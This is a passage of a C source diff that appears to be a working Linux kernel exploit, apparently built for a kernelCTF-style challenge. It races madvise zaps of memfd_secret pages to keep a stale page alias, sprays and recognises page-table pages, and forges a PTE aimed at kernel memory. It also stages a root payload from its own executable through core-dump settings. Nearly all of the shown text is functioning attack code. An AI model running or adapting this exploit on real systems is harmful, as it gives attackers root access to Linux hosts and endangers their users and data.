(uint32_t)ready, + memory_order_release); + count = futex_wake_shared(&ctl->futex_word, 1); + if (count != 1) { + set_async_fatal(ASYNC_H_WAKE, + count < 0 ? errno : EPROTO); + _exit(113); + } + } + } + handled_epoch = ready; + } +} + +static bool pagemap_read_entries(const void *address, uint64_t *entries, + size_t count) +{ + uint64_t vpn = (uint64_t)((uintptr_t)address / PAGE_SIZE_); + off_t offset; + size_t bytes = count * sizeof(*entries); + ssize_t n; + + if (pagemap_fd < 0 || vpn > (uint64_t)INT64_MAX / sizeof(*entries)) { + errno = EOVERFLOW; + return false; + } + offset = (off_t)(vpn * sizeof(*entries)); + do { + n = pread(pagemap_fd, entries, bytes, offset); + } while (n < 0 && errno == EINTR); + if (n != (ssize_t)bytes) { + if (n >= 0) + errno = EIO; + return false; + } + return true; +} + +static bool pagemap_snapshot_secret(struct pagemap_snapshot *snapshot) +{ + return pagemap_read_entries(secret_base, snapshot->entry, SECRET_PAGES); +} + +static bool all_secret_present(const struct pagemap_snapshot *snapshot) +{ + for (unsigned i = 0; i < SECRET_PAGES; i++) { + if (!(snapshot->entry[i] & PM_PRESENT)) + return false; + } + return true; +} + +static bool all_secret_absent(const struct pagemap_snapshot *snapshot) +{ + for (unsigned i = 0; i < SECRET_PAGES; i++) { + if (snapshot->entry[i] & PM_PRESENT) + return false; + } + return true; +} + +static bool pool_absent(const struct pagemap_snapshot *snapshot) +{ + for (unsigned i = 0; i < SECRET_PAGES; i++) { + if (i == SECRET_TARGET_PAGE) + continue; + if (snapshot->entry[i] & PM_PRESENT) + return false; + } + return true; +} + +static bool anchors_are_present(void) +{ + uint64_t low_entry, high_entry; + + if (!pagemap_read_entries((const void *)anchor_low, &low_entry, 1) || + !pagemap_read_entries((const void *)anchor_high, &high_entry, 1)) + return false; + if (!(low_entry & PM_PRESENT) || !(high_entry & PM_PRESENT)) + return false; + return read_once_u64(anchor_low) == ANCHOR_LOW_VALUE && + read_once_u64(anchor_high) == ANCHOR_HIGH_VALUE; +} + +static int zap_secret(void) +{ + for (unsigned retry = 0; retry < 8; retry++) { + if (madvise(secret_base, SECRET_LEN, MADV_DONTNEED_LOCKED) == 0) + return 0; + if (errno != EINTR && errno != EAGAIN) + return -1; + record_.madvise_retries++; + } + errno = EAGAIN; + return -1; +} + +static bool adjust_memlock_limit(void) +{ + struct rlimit limit; + + if (getrlimit(RLIMIT_MEMLOCK, &limit) != 0) + return false; + if (limit.rlim_cur >= SECRET_LEN) + return true; + if (limit.rlim_max != RLIM_INFINITY && limit.rlim_max < SECRET_LEN) { + errno = ENOMEM; + return false; + } + limit.rlim_cur = SECRET_LEN; + return setrlimit(RLIMIT_MEMLOCK, &limit) == 0; +} + +static bool setup_mlock_drain(const char **reason) +{ + struct stat status; + uint64_t offset; + int rc; + + mlock_drain_fd = open("/bin/sh", O_RDONLY | O_CLOEXEC); + if (mlock_drain_fd < 0) { + *reason = "open-mlock-drain-file"; + return false; + } + if (fstat(mlock_drain_fd, &status) != 0 || status.st_size < 0) { + *reason = "stat-mlock-drain-file"; + return false; + } + offset = ((uint64_t)status.st_size + PAGE_SIZE_ - 1) & + ~(PAGE_SIZE_ - 1); + if (offset > (uint64_t)INT64_MAX - PAGE_SIZE_) { + errno = EOVERFLOW; + *reason = "mlock-drain-offset"; + return false; + } + mlock_drain_offset = (off_t)(offset + PAGE_SIZE_); + rc = posix_fadvise(mlock_drain_fd, mlock_drain_offset, + (off_t)PAGE_SIZE_, POSIX_FADV_DONTNEED); + if (rc != 0) { + errno = rc; + *reason = "mlock-drain-fadvise"; + return false; + } + return true; +} + +static bool prepare_root_memfd(const char **reason) +{ + struct rlimit core_limit = { .rlim_cur = RLIM_INFINITY, + .rlim_max = RLIM_INFINITY }; + int source_fd = -1; + int memfd = -1; + int status_pipe[2] = { -1, -1 }; + bool ok = false; + + memfd = (int)syscall(SYS_memfd_create, "kctf", 0); + if (memfd < 0) { + *reason = "memfd-create-root-payload"; + goto out; + } + source_fd = open("/proc/self/exe", O_RDONLY | O_CLOEXEC); + if (source_fd < 0) { + *reason = "open-self-exe"; + goto out; + } + for (;;) { + ssize_t n; + + do { + n = read(source_fd, copy_buffer, sizeof(copy_buffer)); + } while (n < 0 && errno == EINTR); + if (n == 0) + break; + if (n < 0) { + *reason = "read-self-exe"; + goto out; + } + if (!write_all_checked(memfd, copy_buffer, (size_t)n)) { + *reason = "write-root-memfd"; + goto out; + } + } + if (fchmod(memfd, 0700) != 0 || lseek(memfd, 0, SEEK_SET) != 0) { + *reason = "prepare-root-memfd"; + goto out; + } + if (dup3(memfd, ROOT_MEMFD, 0) != ROOT_MEMFD) { + *reason = "dup-root-memfd-666"; + goto out; + } + if (pipe2(status_pipe, O_CLOEXEC) != 0) { + *reason = "pipe-root-status"; + goto out; + } + if (dup3(status_pipe[1], ROOT_STATUS_FD, 0) != ROOT_STATUS_FD) { + *reason = "dup-root-status-667"; + goto out; + } + root_status_read = status_pipe[0]; + status_pipe[0] = -1; + if (fcntl(ROOT_MEMFD, F_SETFD, 0) != 0 || + fcntl(ROOT_STATUS_FD, F_SETFD, 0) != 0) { + *reason = "clear-root-fd-cloexec"; + goto out; + } + /* Piped core_pattern ignores a zero dump-size limit; raise it if permitted. */ + (void)setrlimit(RLIMIT_CORE, &core_limit); + if (prctl(PR_SET_DUMPABLE, 1) != 0) { + *reason = "set-dumpable"; + goto out; + } + ok = true; +out: + if (source_fd >= 0) + close(source_fd); + if (memfd >= 0) + close(memfd); + if (status_pipe[0] >= 0) + close(status_pipe[0]); + if (status_pipe[1] >= 0) + close(status_pipe[1]); + if (!ok) { + if (root_status_read >= 0) { + close(root_status_read); + root_status_read = -1; + } + close(ROOT_MEMFD); + close(ROOT_STATUS_FD); + } + return ok; +} + +static void *map_aligned_arena(void) +{ + void *preferred; + unsigned char *raw; + uintptr_t start, end, aligned; + size_t prefix, suffix; + + preferred = mmap((void *)(uintptr_t)ARENA_PREFERRED, ARENA_LEN, + PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE | + MAP_FIXED_NOREPLACE, -1, 0); + if (preferred != MAP_FAILED) + return preferred; + raw = mmap(NULL, 2 * ARENA_LEN, PROT_READ | PROT_WRITE, + MAP_PRIVATE | MAP_ANONYMOUS | MAP_NORESERVE, -1, 0); + if (raw == MAP_FAILED) + return MAP_FAILED; + start = (uintptr_t)raw; + end = start + 2 * ARENA_LEN; + aligned = (start + ARENA_LEN - 1) & ~(uintptr_t)(ARENA_LEN - 1); + prefix = (size_t)(aligned - start); + suffix = (size_t)(end - (aligned + ARENA_LEN)); + if ((prefix != 0 && munmap((void *)start, prefix) != 0) || + (suffix != 0 && munmap((void *)(aligned + ARENA_LEN), suffix) != 0)) { + int saved = errno; + + (void)munmap(raw, 2 * ARENA_LEN); + errno = saved; + return MAP_FAILED; + } + return (void *)aligned; +} + +static unsigned char *region_address(unsigned region, unsigned slot) +{ + return arena_base + (uint64_t)region * PMD_SIZE_ + + (uint64_t)slot * PAGE_SIZE_; +} + +static bool arena_leaf_absent(unsigned region, unsigned slot) +{ + uint64_t entry; + + return pagemap_read_entries(region_address(region, slot), &entry, 1) && + !(entry & PM_PRESENT); +} + +static bool setup_sparse_arena(const char **reason) +{ + uint64_t first_entry; + volatile uint64_t sink; + + arena_base = map_aligned_arena(); + if (arena_base == MAP_FAILED) { + arena_base = NULL; + *reason = "map-one-gib-arena"; + return false; + } + if (((uintptr_t)arena_base & (uintptr_t)(ARENA_LEN - 1)) != 0) { + errno = EINVAL; + *reason = "arena-not-one-gib-aligned"; + return false; + } + if (madvise(arena_base, ARENA_LEN, MADV_NOHUGEPAGE) != 0) { + *reason = "arena-madvise-nohuge"; + return false; + } + if (madvise(arena_base, ARENA_LEN, MADV_DONTFORK) != 0) { + *reason = "arena-madvise-dontfork"; + return false; + } + /* One region-0 read allocates the shared upper levels and one sacrificial PTE. */ + sink = read_once_u64(region_address(0, PTE_ANCHOR_A)); + if (sink != 0 || + !pagemap_read_entries(region_address(0, PTE_ANCHOR_A), &first_entry, 1) || + !(first_entry & PM_PRESENT)) { + errno = EPROTO; + *reason = "arena-region-zero-prefault"; + return false; + } + /* Retain half a pageblock of PTE pages before the secret folio allocation. */ + for (unsigned region = 1; region <= CONDITIONER_REGIONS; region++) { + if (read_once_u64(region_address(region, PTE_ANCHOR_A)) != 0) { + errno = EILSEQ; + *reason = "arena-pte-conditioner"; + return false; + } + } + for (unsigned region = FIRST_SPRAY_REGION; + region <= opt.spray_regions; region++) { + if (!arena_leaf_absent(region, PTE_ANCHOR_A) || + !arena_leaf_absent(region, PTE_CANARY_SOURCE) || + !arena_leaf_absent(region, PTE_DESTINATION)) { + errno = EPROTO; + *reason = "arena-region-not-untouched"; + return false; + } + } + record_.arena_ready = true; + return true; +} + +static bool setup_secret_mapping(const char **reason) +{ + const size_t raw_len = (size_t)(2 * PMD_SIZE_); + unsigned char *raw; + uintptr_t raw_start, raw_end, aligned; + size_t prefix, suffix; + struct pagemap_snapshot snapshot; + int fd; + + raw = mmap(NULL, raw_len, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); + if (raw == MAP_FAILED) { + *reason = "reserve-controlled-pmd"; + return false; + } + raw_start = (uintptr_t)raw; + raw_end = raw_start + raw_len; + aligned = (raw_start + PMD_SIZE_ - 1) & ~(uintptr_t)(PMD_SIZE_ - 1); + prefix = (size_t)(aligned - raw_start); + suffix = (size_t)(raw_end - (aligned + PMD_SIZE_)); + if ((prefix != 0 && munmap((void *)raw_start, prefix) != 0) || + (suffix != 0 && munmap((void *)(aligned + PMD_SIZE_), suffix) != 0)) { + *reason = "trim-controlled-pmd"; + return false; + } + pmd_base = (unsigned char *)aligned; + if (madvise(pmd_base, PMD_SIZE_, MADV_NOHUGEPAGE) != 0) { + *reason = "madvise-controlled-pmd-nohuge"; + return false; + } + secret_base = pmd_base + + (((PMD_SIZE_ - SECRET_LEN) / 2) & ~(PAGE_SIZE_ - 1)); + anchor_low = (volatile uint64_t *)(secret_base - PAGE_SIZE_); + anchor_high = (volatile uint64_t *)(secret_base + SECRET_LEN); + if ((((uintptr_t)anchor_low) & ~(uintptr_t)(PMD_SIZE_ - 1)) != aligned || + (((uintptr_t)anchor_high) & ~(uintptr_t)(PMD_SIZE_ - 1)) != aligned) { + errno = EINVAL; + *reason = "anchor-pmd-layout"; + return false; + } + if (mprotect((void *)anchor_low, PAGE_SIZE_, PROT_READ | PROT_WRITE) != 0 || + mprotect((void *)anchor_high, PAGE_SIZE_, PROT_READ | PROT_WRITE) != 0) { + *reason = "map-anchor-pages"; + return false; + } + write_once_u64(anchor_low, ANCHOR_LOW_VALUE); + write_once_u64(anchor_high, ANCHOR_HIGH_VALUE); + fd = (int)syscall(__NR_memfd_secret, O_CLOEXEC); + if (fd < 0) { + *reason = "raw-memfd-secret"; + return false; + } + if (ftruncate(fd, (off_t)SECRET_LEN) != 0) { + *reason = "truncate-secretmem"; + close(fd); + return false; + } + if (mmap(secret_base, SECRET_LEN, PROT_READ | PROT_WRITE, + MAP_SHARED | MAP_FIXED, fd, 0) != secret_base) { + *reason = "map-secretmem-fixed"; + close(fd); + return false; + } + for (unsigned i = 0; i < SECRET_PAGES; i++) + write_once_u64(secret_base + i * PAGE_SIZE_, MARKER0 | i); + if (!pagemap_snapshot_secret(&snapshot) || !all_secret_present(&snapshot)) { + *reason = "initial-secret-ptes-present"; + close(fd); + return false; + } + if (!anchors_are_present()) { + *reason = "initial-anchors-present"; + close(fd); + return false; + } + /* The unsplit VMA now owns the final secret-file reference. */ + if (close(fd) != 0) { + *reason = "close-secretmem-fd"; + return false; + } + /* absent -> dirty write fault -> present -> absent oracle self-test */ + if (zap_secret() != 0 || !pagemap_snapshot_secret(&snapshot) || + !all_secret_absent(&snapshot)) { + *reason = "oracle-initial-zap-absent"; + return false; + } + write_once_u64(secret_target_address(), MARKER0); + if (read_once_u64(secret_target_address()) != MARKER0 || + !pagemap_snapshot_secret(&snapshot) || + !(snapshot.entry[SECRET_TARGET_PAGE] & PM_PRESENT) || + !pool_absent(&snapshot)) { + *reason = "oracle-dirty-fault-present"; + return false; + } + if (zap_secret() != 0 || !pagemap_snapshot_secret(&snapshot) || + !all_secret_absent(&snapshot)) { + *reason = "oracle-final-zap-absent"; + return false; + } + record_.oracle_selftest = true; + record_.pool_absent = true; + record_.anchors_present = true; + return true; +} + +static void sort_u64(uint64_t *values, size_t count) +{ + for (size_t i = 1; i < count; i++) { + uint64_t value = values[i]; + size_t j = i; + + while (j > 0 && values[j - 1] > value) { + values[j] = values[j - 1]; + j--; + } + values[j] = value; + } +} + +static bool calibrate_madvise(const char **reason) +{ + uint64_t samples[CALIBRATION_SAMPLES]; + struct pagemap_snapshot snapshot; + + for (unsigned i = 0; i < CALIBRATION_SAMPLES; i++) { + uint64_t begin, end; + + write_once_u64(secret_target_address(), MARKER0); + if (read_once_u64(secret_target_address()) != MARKER0) { + *reason = "calibration-marker"; + return false; + } + begin = read_tsc_ordered(NULL); + if (zap_secret() != 0) { + *reason = "calibration-madvise"; + return false; + } + end = read_tsc_ordered(NULL); + samples[i] = end - begin; + if (!pagemap_snapshot_secret(&snapshot) || + !all_secret_absent(&snapshot)) { + *reason = "calibration-pte-absence"; + return false; + } + } + sort_u64(samples, CALIBRATION_SAMPLES); + record_.p50_cycles = samples[CALIBRATION_SAMPLES / 2]; + record_.p95_cycles = samples[(CALIBRATION_SAMPLES * 95) / 100]; + record_.lead_cycles = record_.p95_cycles * 4; + if (record_.lead_cycles < UINT64_C(200000)) + record_.lead_cycles = UINT64_C(200000); + if (record_.lead_cycles > UINT64_C(20000000)) + record_.lead_cycles = UINT64_C(20000000); + return true; +} + +static bool synchronize_tsc(void) +{ + uint64_t rtt[TSC_SYNC_SAMPLES]; + int64_t offsets[TSC_SYNC_SAMPLES]; + uint64_t best_rtt = UINT64_MAX; + int64_t best_offset = 0; + unsigned stable = 0; + + if (!rdtscp_available) + return false; + for (unsigned i = 0; i < TSC_SYNC_SAMPLES; i++) { + uint64_t t0 = read_tsc_ordered(NULL); + uint64_t h, t1, midpoint; + + atomic_store_explicit(&ctl->sync_seq, i + 1, memory_order_release); + if (!wait_u64_at_least(&ctl->sync_ack, i + 1)) + return false; + t1 = read_tsc_ordered(NULL); + h = atomic_load_explicit(&ctl->sync_h_tsc, memory_order_acquire); + rtt[i] = t1 - t0; + midpoint = t0 + rtt[i] / 2; + offsets[i] = (int64_t)h - (int64_t)midpoint; + if (rtt[i] < best_rtt) { + best_rtt = rtt[i]; + best_offset = offsets[i]; + } + } + if (best_rtt > UINT64_C(10000000) || + best_offset < -INT64_C(1000000) || best_offset > INT64_C(1000000)) + return false; + for (unsigned i = 0; i < TSC_SYNC_SAMPLES; i++) { + uint64_t tolerance = UINT64_C(50000) + rtt[i] / 2 + best_rtt; + int64_t delta = offsets[i] - best_offset; + uint64_t magnitude = delta < 0 ? + (uint64_t)(-(delta + 1)) + 1 : (uint64_t)delta; + + if (magnitude <= tolerance) + stable++; + } + if (stable < (TSC_SYNC_SAMPLES * 3) / 4) + return false; + measured_tsc_offset = best_offset; + atomic_store_explicit(&ctl->h_tsc_offset, best_offset, memory_order_release); + return true; +} + +static bool zero_pte_sane(uint64_t pte, uint64_t *pa_out) +{ + uint64_t pa = pte & physical_mask; + + if ((pte & ~physical_mask) != PTE_ZERO_FLAGS) + return false; + if (pa == 0 || (pa & (PAGE_SIZE_ - 1)) != 0 || + pa >= MAX_GUEST_PHYS_EXCL) + return false; + *pa_out = pa; + return true; +} + +static bool source_pte_sane(uint64_t pte, uint64_t zero_pa) +{ + uint64_t pa = pte & physical_mask; + + if ((pte & ~physical_mask) != PTE_TARGET_FLAGS) + return false; + if (pa == 0 || pa == zero_pa || pa >= MAX_GUEST_PHYS_EXCL) + return false; + return true; +} + +static bool calculate_core_target(uint64_t zero_pte, uint64_t *zero_pa_out, + uint64_t *core_pa_out) +{ + uint64_t zero_pa; + uint64_t kimage_pa; + uint64_t core_from_base; + uint64_t core_from_delta; + + if (!zero_pte_sane(zero_pte, &zero_pa)) + return false; + if (zero_pa < EMPTY_ZERO_LINK_OFFSET || zero_pa < ZERO_TO_CORE_DELTA) + return false; + kimage_pa = zero_pa - EMPTY_ZERO_LINK_OFFSET; + if (kimage_pa < PHYSICAL_ALIGN_ || + (kimage_pa & (PHYSICAL_ALIGN_ - 1)) != 0) + return false; + if (kimage_pa > UINT64_MAX - CORE_PAGE_LINK_OFFSET) + return false; + core_from_base = kimage_pa + CORE_PAGE_LINK_OFFSET; + core_from_delta = zero_pa - ZERO_TO_CORE_DELTA; + if (core_from_base != core_from_delta) + return false; + if ((core_from_base & (PAGE_SIZE_ - 1)) != 0 || + core_from_base >= LOW_RAM_END_EXCL || + core_from_base > physical_mask || + zero_pa > physical_mask) + return false; + if ((core_from_base | PTE_TARGET_FLAGS) & + ~(physical_mask | PTE_NX | UINT64_C(0xfff))) + return false; + *zero_pa_out = zero_pa; + *core_pa_out = core_from_base; + return true; +} + +__attribute__((noinline)) static bool recognize_pte_page( + const volatile uint64_t *page, uint64_t completed, + struct pte_capture *capture) +{ + uint64_t first[512]; + uint64_t second[512]; + uint64_t zero_pa_a, zero_pa_b; + uint64_t region = 0; + uint64_t core_pa; + + for (unsigned i = 0; i < 512; i++) + first[i] = read_once_u64(&page[i]); + if (postwin_fault_armed && first[PTE_ANCHOR_A] != 0) { + atomic_store_explicit(&ctl->candidate_anchor_a, + first[PTE_ANCHOR_A], memory_order_relaxed); + atomic_store_explicit(&ctl->candidate_anchor_b, + first[PTE_ANCHOR_B], memory_order_relaxed); + atomic_store_explicit(&ctl->candidate_id_zero, + first[PTE_ID_FIRST], memory_order_relaxed); + atomic_store_explicit(&ctl->candidate_id_one, + first[PTE_ID_FIRST + 1U], memory_order_relaxed); + atomic_store_explicit(&ctl->candidate_source, + first[PTE_CANARY_SOURCE], memory_order_relaxed); + atomic_store_explicit(&ctl->candidate_destination, + first[PTE_DESTINATION], memory_order_relaxed); + atomic_store_explicit(&ctl->candidate_spray, completed, + memory_order_release); + } + speculation_barrier(); + for (unsigned i = 0; i < 512; i++) + second[i] = read_once_u64(&page[i]); + for (unsigned i = 0; i < 512; i++) { + if (first[i] != second[i]) + return false; + } + if (!zero_pte_sane(first[PTE_ANCHOR_A], &zero_pa_a) || + !zero_pte_sane(first[PTE_ANCHOR_B], &zero_pa_b) || + zero_pa_a != zero_pa_b) + return false; + for (unsigned bit = 0; bit < PTE_ID_BITS; bit++) { + unsigned zero_slot = PTE_ID_FIRST + bit * 2U; + unsigned one_slot = zero_slot + 1U; + bool zero_selected = first[zero_slot] == first[PTE_ANCHOR_A]; + bool one_selected = first[one_slot] == first[PTE_ANCHOR_A]; + + if (zero_selected == one_selected) + return false; + if (one_selected) + region |= UINT64_C(1) << bit; + } + if (region < FIRST_SPRAY_REGION || region > completed || + region > opt.spray_regions) + return false; + for (unsigned i = 0; i < 512; i++) { + bool allowed_nonzero = i == PTE_ANCHOR_A || i == PTE_ANCHOR_B; + + if (i >= PTE_ID_FIRST && i < PTE_ID_FIRST + PTE_ID_SLOTS) { + unsigned pair_index = i - PTE_ID_FIRST; + unsigned bit = pair_index / 2U; + unsigned encoded = pair_index & 1U; + + allowed_nonzero = encoded == + !!(region & (UINT64_C(1) << bit)); + } + if (allowed_nonzero) { + uint64_t pa; + + if (!zero_pte_sane(first[i], &pa) || pa != zero_pa_a) + return false; + } else if (first[i] != 0) { + return false; + } + } + if (!calculate_core_target(first[PTE_ANCHOR_A], &zero_pa_a, &core_pa)) + return false; + capture->region = region; + capture->zero_pte = first[PTE_ANCHOR_A]; + capture->source_pte = 0; + capture->zero_pa = zero_pa_a; + capture->core_pa = core_pa; + return true; +} + +static bool pte_recognizer_selftest(void) +{ + const uint64_t kimage_pa = UINT64_C(0x02000000); + const uint64_t zero_pa = kimage_pa + EMPTY_ZERO_LINK_OFFSET; + const uint64_t zero_pte = zero_pa | PTE_ZERO_FLAGS; + const unsigned region = FIRST_SPRAY_REGION; + struct pte_capture capture; + + memset(recognizer_warm_page, 0, sizeof(recognizer_warm_page)); + recognizer_warm_page[PTE_ANCHOR_A] = zero_pte; + recognizer_warm_page[PTE_ANCHOR_B] = zero_pte; + for (unsigned bit = 0; bit < PTE_ID_BITS; bit++) { + unsigned slot = PTE_ID_FIRST + bit * 2U + + !!(region & (1U << bit)); + + recognizer_warm_page[slot] = zero_pte; + } + if (!recognize_pte_page(recognizer_warm_page, region, &capture)) + return false; + if (capture.region != region || capture.zero_pte != zero_pte || + capture.source_pte != 0 || capture.zero_pa != zero_pa || + capture.core_pa != kimage_pa + CORE_PAGE_LINK_OFFSET) + return false; + memset(recognizer_warm_page, 0, sizeof(recognizer_warm_page)); + record_.recognizer_selftest = true; + return true; +} + +static _Noreturn void reader_abort_hold(void) +{ + for (;;) { + (void)atomic_load_explicit(&ctl->stop, memory_order_relaxed); + cpu_relax(); + } +} + +static void postwin_fault_handler(int signal_number, siginfo_t *info, + void *context) +{ + (void)context; + if (!postwin_fault_armed || ctl == NULL) { + (void)syscall(SYS_exit_group, 128 + signal_number); + __builtin_unreachable(); + } + atomic_store_explicit(&ctl->postwin_fault_signal, + (uint64_t)signal_number, memory_order_relaxed); + atomic_store_explicit(&ctl->postwin_fault_address, + (uint64_t)(uintptr_t)info->si_addr, + memory_order_relaxed); + atomic_store_explicit(&ctl->postwin_fault_spray, + atomic_load_explicit(&ctl->spray_completed, + memory_order_relaxed), + memory_order_relaxed); + atomic_store_explicit(&ctl->postwin_abort, EFAULT, memory_order_release); + reader_abort_hold(); +} + +static bool setup_reader_fault_oracle(void) +{ + struct sigaction action; + stack_t stack; + + for (size_t offset = 0; offset < sizeof(reader_signal_stack); + offset += PAGE_SIZE_) + reader_signal_stack[offset] = (unsigned char)offset; + memset(&stack, 0, sizeof(stack)); + stack.ss_sp = reader_signal_stack; + stack.ss_size = sizeof(reader_signal_stack); + if (sigaltstack(&stack, NULL) != 0) + return false; + memset(&action, 0, sizeof(action)); + action.sa_sigaction = postwin_fault_handler; + action.sa_flags = SA_SIGINFO | SA_ONSTACK; + if (sigemptyset(&action.sa_mask) != 0 || + sigaction(SIGSEGV, &action, NULL) != 0 || + sigaction(SIGBUS, &action, NULL) != 0) + return false; + return true; +} + +static _Noreturn void reader_hold(void) +{ + uint64_t sink = 0; + + for (;;) { + sink ^= read_once_u64(secret_target_address()); + sink ^= atomic_load_explicit(&ctl->stop, memory_order_relaxed); + __asm__ volatile("" : "+r"(sink) : : "memory"); + cpu_relax(); + } +} + +static _Noreturn void reader_post_win(void) +{ + const volatile uint64_t *stale_page = + (const volatile uint64_t *)(const void *)secret_target_address(); + struct pte_capture capture; + uint64_t post_unmap_value; + + postwin_fault_armed = 1; + while (atomic_load_explicit(&ctl->unmap_started, + memory_order_acquire) == 0) { + (void)read_once_u64(stale_page); + cpu_relax(); + } + (void)read_once_u64(stale_page); + atomic_store_explicit(&ctl->unmap_reader_ready, 1, memory_order_release); + while (atomic_load_explicit(&ctl->unmap_returned, + memory_order_acquire) == 0) { + if (atomic_load_explicit(&ctl->postwin_abort, + memory_order_acquire) != 0) + reader_abort_hold(); + (void)read_once_u64(stale_page); + cpu_relax(); + } + speculation_barrier(); + post_unmap_value = read_once_u64(stale_page); + atomic_store_explicit(&ctl->post_unmap_observed, post_unmap_value, + memory_order_relaxed); + atomic_store_explicit(&ctl->post_unmap_load_ok, 1, memory_order_release); + + for (;;) { + uint64_t completed; + uint64_t replacement; + uint64_t source_pte_a; + uint64_t source_pte_b; + + if (atomic_load_explicit(&ctl->postwin_abort, memory_order_acquire) != 0) + reader_abort_hold(); + completed = atomic_load_explicit(&ctl->spray_completed, + memory_order_acquire); + if (completed == 0) { + (void)read_once_u64(stale_page); + cpu_relax(); + continue; + } + if (!recognize_pte_page(stale_page, completed, &capture)) { + cpu_relax(); + continue; + } + atomic_store_explicit(&ctl->captured_zero_pte, capture.zero_pte, + memory_order_relaxed); + atomic_store_explicit(&ctl->captured_zero_pa, capture.zero_pa, + memory_order_relaxed); + atomic_store_explicit(&ctl->captured_core_pa, capture.core_pa, + memory_order_relaxed); + atomic_store_explicit(&ctl->captured_region, capture.region, + memory_order_release); + while (atomic_load_explicit(&ctl->canary_ready, + memory_order_acquire) == 0) { + if (atomic_load_explicit(&ctl->postwin_abort, + memory_order_acquire) != 0) + reader_abort_hold(); + (void)read_once_u64(&stale_page[PTE_ANCHOR_A]); + cpu_relax(); + } + source_pte_a = read_once_u64(&stale_page[PTE_CANARY_SOURCE]); + speculation_barrier(); + source_pte_b = read_once_u64(&stale_page[PTE_CANARY_SOURCE]); + if (source_pte_a != source_pte_b || + !source_pte_sane(source_pte_a, capture.zero_pa) || + read_once_u64(&stale_page[PTE_DESTINATION]) != 0 || + read_once_u64(&stale_page[PTE_ANCHOR_A]) != capture.zero_pte) { + atomic_store_explicit(&ctl->postwin_abort, EPROTO, + memory_order_release); + reader_abort_hold(); + } + capture.source_pte = source_pte_a; + if (opt.stage == STAGE_PTE_PROOF) { + replacement = capture.source_pte; + } else if (opt.stage == STAGE_FLAG) { + replacement = capture.core_pa | PTE_TARGET_FLAGS; + } else { + reader_abort_hold(); + } + /* This is the only stale-alias write: one fresh, aligned PTE slot. */ + write_once_u64((volatile void *)&stale_page[PTE_DESTINATION], + replacement); + if (read_once_u64(&stale_page[PTE_DESTINATION]) != replacement) { + atomic_store_explicit(&ctl->postwin_abort, EIO, + memory_order_release); + reader_abort_hold(); + } + atomic_store_explicit(&ctl->captured_source_pte, capture.source_pte, + memory_order_relaxed); + atomic_store_explicit(&ctl->pte_installed, 1, memory_order_release); + while (atomic_load_explicit(&ctl->pte_restore_request, + memory_order_acquire) == 0) { + (void)read_once_u64(&stale_page[PTE_ANCHOR_A]); + cpu_relax(); + } + if (read_once_u64(&stale_page[PTE_DESTINATION]) != replacement) { + atomic_store_explicit(&ctl->postwin_abort, EPROTO, + memory_order_release); + reader_abort_hold(); + } + /* Remove the unaccounted forged PTE before any fork/mm teardown. */ + write_once_u64((volatile void *)&stale_page[PTE_DESTINATION], 0); + if (read_once_u64(&stale_page[PTE_DESTINATION]) != 0) { + atomic_store_explicit(&ctl->postwin_abort, EIO, + memory_order_release); + reader_abort_hold(); + } + atomic_store_explicit(&ctl->pte_restored, 1, memory_order_release); + postwin_fault_armed = 0; + reader_abort_hold(); + } +} + +static void *reader_main(void *unused) +{ + uint64_t epoch = 1; + int policy; + int rc; + struct sched_param param; + struct pte_capture warm_capture; + + (void)unused; + if (pin_to_cpu(0) != 0) { + set_async_fatal(ASYNC_R_PIN, errno); + atomic_store_explicit(&ctl->r_boot, 2, memory_order_release); + return NULL; + } + if (sched_getcpu() != 0) { + set_async_fatal(ASYNC_R_PIN, EXDEV); + atomic_store_explicit(&ctl->r_boot, 2, memory_order_release); + return NULL; + } + rc = pthread_getschedparam(pthread_self(), &policy, ¶m); + if (rc != 0 || policy != SCHED_OTHER) { + set_async_fatal(ASYNC_R_POLICY, rc != 0 ? rc : EINVAL); + atomic_store_explicit(&ctl->r_boot, 2, memory_order_release); + return NULL; + } + if (!setup_reader_fault_oracle()) { + set_async_fatal(ASYNC_R_SIGNAL, errno); + atomic_store_explicit(&ctl->r_boot, 2, memory_order_release); + return NULL; + } + prefault_current_stack(); + /* Execute and fault the post-win recognizer before entering the race. */ + memset(recognizer_warm_page, 0, sizeof(recognizer_warm_page)); + (void)recognize_pte_page(recognizer_warm_page, 0, &warm_capture); + atomic_store_explicit(&ctl->r_boot, 1, memory_order_release); + while (atomic_load_explicit(&ctl->start, memory_order_acquire) == 0) { + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0) + return NULL; + cpu_relax(); + } + for (;;) { + uint64_t value; + uint64_t verdict; + uint64_t expected_marker = marker_for_epoch(epoch); + + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0) + return NULL; + /* Force a writable, hardware-dirty leaf before each race attempt. */ + write_once_u64(secret_target_address(), expected_marker); + if (read_once_u64(secret_target_address()) != expected_marker) { + set_async_fatal(ASYNC_R_MARKER, EILSEQ); + return NULL; + } + rc = posix_fadvise(mlock_drain_fd, mlock_drain_offset, + (off_t)PAGE_SIZE_, POSIX_FADV_DONTNEED); + if (rc != 0) { + set_async_fatal(ASYNC_R_MLOCK_DRAIN, rc); + return NULL; + } + atomic_fetch_add_explicit(&ctl->mlock_drains, 1, + memory_order_relaxed); + atomic_store_explicit(&ctl->r_ready, epoch, memory_order_release); + while (atomic_load_explicit(&ctl->futex_word, + memory_order_acquire) < (uint32_t)epoch) { + int wait_rc = futex_wait_shared(&ctl->futex_word, + (uint32_t)(epoch - 1)); + + if (wait_rc == 0 || errno == EAGAIN || errno == EINTR) + continue; + set_async_fatal(ASYNC_R_FUTEX, errno); + return NULL; + } + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0) + return NULL; + atomic_store_explicit(&ctl->r_resume_tsc, + rdtscp_available ? read_tsc_ordered(NULL) : 0, + memory_order_release); + /* No syscall occurs from here through the post-zap oracle load. */ + while (atomic_load_explicit(&ctl->zap_done, + memory_order_acquire) < epoch) { + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0 || + atomic_load_explicit(&ctl->fatal_code, + memory_order_acquire) != 0) + return NULL; + cpu_relax(); + } + speculation_barrier(); + value = read_once_u64(secret_target_address()); + atomic_store_explicit(&ctl->observed, value, memory_order_relaxed); + atomic_store_explicit(&ctl->read_done, epoch, memory_order_release); + while (atomic_load_explicit(&ctl->verdict_epoch, + memory_order_acquire) < epoch) { + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0) + return NULL; + 